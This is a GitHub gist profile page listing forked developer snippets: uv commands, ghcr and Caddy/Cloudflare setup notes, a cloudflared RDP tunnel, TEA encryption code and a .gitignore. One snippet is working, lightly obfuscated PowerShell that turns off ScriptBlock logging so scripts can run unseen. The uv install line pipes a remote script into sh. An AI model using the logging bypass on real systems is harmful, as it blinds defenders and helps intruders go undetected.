Skip to content

Instantly share code, notes, and snippets.

View teebow1e's full-sized avatar
💖
learning something..

Trung Tran teebow1e

💖
learning something..
View GitHub Profile
## install uv on OS
curl -LsSf https://astral.sh/uv/install.sh | sh
## create new project
uv init myproj
## install packages
uv add django requests "pandas>=2.3"
## remove package
@teebow1e
teebow1e / ghcr.md
Last active May 30, 2025 17:49 — forked from yokawasa/ghcr.md
[Selfhost] ghcr (GitHub Container Registry)

ghcr (GitHub Container Registry) quickstart

CLI

To push container images to ghcr, you need peronal access token (PAT) - see how to create PAT

  1. Get PAT (personal access token)

Personal Settings > Developer settings > Personal access tokens

@teebow1e
teebow1e / ccf.md
Last active May 30, 2025 17:49 — forked from Bara/ccf.md
[Selfhost] Caddy with Cloudflare Proxy

Create API Key on Github

  • My Profile
  • API Tokens
  • Create Token
  • Edit zone DNS (Template)
  • Change permissions from Edit to Read (I tested this with Edit)
  • Add your domains/zones under Zone Resource
  • Add your IPv(4/6) under Client IP Adress Filtering
  • Click on Continue to summary
  • Click on Create Token
# remote
./cloudflared --url tcp://127.0.0.1:3389
# local
./cloudflared access tcp --hostname uncertainty-saints-newark-martin.trycloudflare.com --url 127.0.0.1:3388
# rdp to 127.0.0.1:3388
@teebow1e
teebow1e / ScriptBlockLogBypass.ps1
Created September 13, 2024 15:30 — forked from cobbr/ScriptBlockLogBypass.ps1
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
@teebow1e
teebow1e / tea.js
Last active August 14, 2024 07:27 — forked from vicmortelmans/gist:1393077
[JavaScript] TEA encryption
// use (16 chars of) 'password' to encrypt 'plaintext'
function encrypt(plaintext, password) {
var v = new Array(2), k = new Array(4), s = "", i;
plaintext = escape(plaintext); // use escape() so only have single-byte chars to encode
// build key directly from 1st 16 chars of password
for (var i=0; i<4; i++) k[i] = Str4ToLong(password.slice(i*4,(i+1)*4));
@teebow1e
teebow1e / .gitignore
Created August 8, 2024 18:35 — forked from x3rAx/.gitignore
Gitignore with .gitkeep
# +----------------------------+
# | IDE files |
# +----------------------------+
/.idea
# +----------------------------+
# | Vagrant |
# +----------------------------+
/.vagrant